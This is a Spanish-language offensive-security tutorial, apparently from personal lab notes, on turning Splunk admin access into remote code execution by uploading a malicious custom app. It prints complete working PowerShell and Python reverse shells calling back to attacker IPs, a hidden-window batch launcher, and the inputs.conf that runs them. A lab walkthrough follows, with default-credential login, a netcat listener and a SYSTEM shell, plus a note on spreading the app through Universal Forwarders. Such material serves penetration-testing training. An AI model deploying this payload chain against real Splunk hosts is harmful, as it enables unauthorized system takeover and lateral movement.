Page cover

💣Splunk - Ataques

Como se explicó en la sección anterior, podemos obtener ejecución remota de código en Splunk mediante la creación de una aplicación personalizada para ejecutar scripts de Python, Batch, Bash o PowerShell. A partir del análisis de detección de Nmap, notamos que nuestro objetivo es un servidor Windows. Dado que Splunk viene con Python instalado, podemos crear una aplicación Splunk personalizada que nos brinde ejecución remota de código mediante Python o un script de PowerShell.

Relacionado

Además de esta sección puedes consultar el proceso de explotación de una máquina Hard de Hack the Box, donde vemos muchas mas técnicas que las recogidas aquí para explotar sistemas Splunk:

🔴Haze

Abuso de la funcionalidad incorporada

Podemos usar este paquete Splunk para ayudarnos. El directorio bin de este repositorio tiene ejemplos para Python y PowerShell . Veamos esto paso a paso.

Para lograr esto, primero debemos crear una aplicación Splunk personalizada utilizando la siguiente estructura de directorio.

afsh4ck@hkali$ tree splunk_shell/

splunk_shell/
├── bin
└── default

2 directories, 0 files

El directorio bin contendrá todos los scripts que deseamos ejecutar (en este caso, un reverse shell de PowerShell) y el directorio predeterminado tendrá nuestro archivo inputs.conf. Nuestro reverse shell será un PowerShell one-liner:

#A simple and small reverse shell. Options and help removed to save space. 
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

El archivo inputs.conf le indica a Splunk qué script debe ejecutar y cualquier otra condición. Aquí configuramos la aplicación como habilitada y le indicamos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre se expresa en segundos y la entrada (script) solo se ejecutará si esta configuración está presente.

afsh4ck@kali$ cat inputs.conf 

[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Necesitamos el archivo .bat, que se ejecutará cuando se implemente la aplicación y ejecutará la línea única de PowerShell.

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

Una vez creados los archivos, podemos crear un tarball o un archivo .spl:

afsh4ck@kali$ tar -cvzf updater.tar.gz splunk_shell/

splunk_shell/
splunk_shell/bin/
splunk_shell/bin/rev.py
splunk_shell/bin/run.bat
splunk_shell/bin/run.ps1
splunk_shell/default/
splunk_shell/default/inputs.conf

El siguiente paso es elegir Install app from file y cargar la aplicación:

Antes de cargar la aplicación personalizada maliciosa, iniciamos un listener usando Netcat o socat .

afsh4ck@kali$ sudo nc -lnvp 443

listening on [any] 443 ...

En la página Upload app, haz clic en explorar, elija el archivo .tar que creamos anteriormente y haz clic en Upload.

Tan pronto como cargamos la aplicación, se recibe un reverse shell ya que el estado de la aplicación cambiará automáticamente a Enabled.

afsh4ck@kali$ sudo nc -lnvp 443

listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.50] 53145


PS C:\Windows\system32> whoami

nt authority\system


PS C:\Windows\system32> hostname

APP03


PS C:\Windows\system32>

En este caso, obtuvimos un shell como NT AUTHORTY\SYSTEM. Si se tratara de una evaluación del mundo real, podríamos proceder a enumerar el destino en busca de credenciales en el registro, la memoria o almacenadas en otro lugar del sistema de archivos para usarlas en el movimiento lateral dentro de la red. Si este fuera nuestro punto de apoyo inicial en el entorno del dominio, podríamos usar este acceso para comenzar a enumerar el dominio de Active Directory.

Si estuviéramos tratando con un host Linux, tendríamos que editar el script de Python rev.py antes de crear el archivo tar y cargar la aplicación maliciosa personalizada. El resto del proceso sería el mismo y obtendríamos una conexión de shell inversa en nuestro receptor Netcat y estaríamos listos para la acción.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

Si el host Splunk comprometido es un servidor de implementación, probablemente será posible lograr RCE en cualquier host que tenga instalados Universal Forwarders. Para enviar un reverse shell a otros hosts, la aplicación debe ubicarse en el directorio $SPLUNK_HOME/etc/deployment-apps del host comprometido. En un entorno con uso intensivo de Windows, necesitaremos crear una aplicación utilizando un shell inverso de PowerShell, ya que los Universal Forwarders no se instalan con Python como el servidor Splunk.


Caso práctico

Objetivo: 10.129.201.50

Ataca el objetivo de Splunk y obtén la ejecución remota del código. Envía el contenido del archivo flag.txt en el directorio c:\loot.

Escaneo de puertos

Podemos ver que Nmap identificó el servicio Splunkd httpd en el puerto 8000 y el puerto 8089, el puerto de administración de Splunk para la comunicación con la API REST de Splunk.

sudo nmap -v -sV -T5 10.129.201.50

PORT      STATE    SERVICE        VERSION
80/tcp    open     http           Microsoft IIS httpd 10.0
135/tcp   open     msrpc          Microsoft Windows RPC
139/tcp   open     netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds?
1107/tcp  filtered isoipsigport-2
3389/tcp  open     ms-wbt-server  Microsoft Terminal Services
5985/tcp  open     http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp  open     ssl/http       Splunkd httpd
8080/tcp  open     http           Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
8089/tcp  open     ssl/http       Splunkd httpd
8254/tcp  filtered unknown
16018/tcp filtered unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Accedemos por https con las credenciales por defecto y entramos sin problema:

Preparación del exploit

Vamos a usar este repositorio:

tree .                 
.
├── bin
│   ├── rev.py
│   ├── run.bat
│   └── run.ps1
└── default
    └── inputs.conf

Este directorio contiene 2 carpetas, una con ejecutables y una con un archivo de configuración.

Editamos run.ps1 para añadir nuestra IP y puerto de atacante:

#A simple and small reverse shell. Options and help removed to save space. 
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.127',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

También editamos inputs.conf de la siguiente manera:

[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

Una vez guardamos los archivos lo comprimimos con el siguiente comando:

tar -cvzf updater.tar.gz reverse_shell_splunk 

reverse_shell_splunk/
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.bat
reverse_shell_splunk/bin/run.ps1

Subida del exploit

Dentro de Apps hacemos click en Install app from file:

Antes de cargar la aplicación personalizada maliciosa, iniciamos un listener usando Netcat:

afsh4ck@kali$ sudo nc -lnvp 4444

listening on [any] 443 ...

En la página Upload app, haz clic en explorar, elija el archivo .tar que creamos anteriormente y haz clic en Upload.

afsh4ck@kali$ sudo nc -lnvp 4444

listening on [any] 443 ...
Connection received

id
PS C:\Windows\system32> 

Tenemos una shell! Vamos a acceder al directorio C:/loot para hacernos con la flag:

PS C:\Windows\system32> cd C://loot
PS C:\loot> dir

    Directory: C:\loot

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        9/29/2021   6:16 PM             16 flag.txt                                                              


PS C:\loot> cat flag.txt
l00k_ma_no_***********

Última actualización

¿Te fue útil?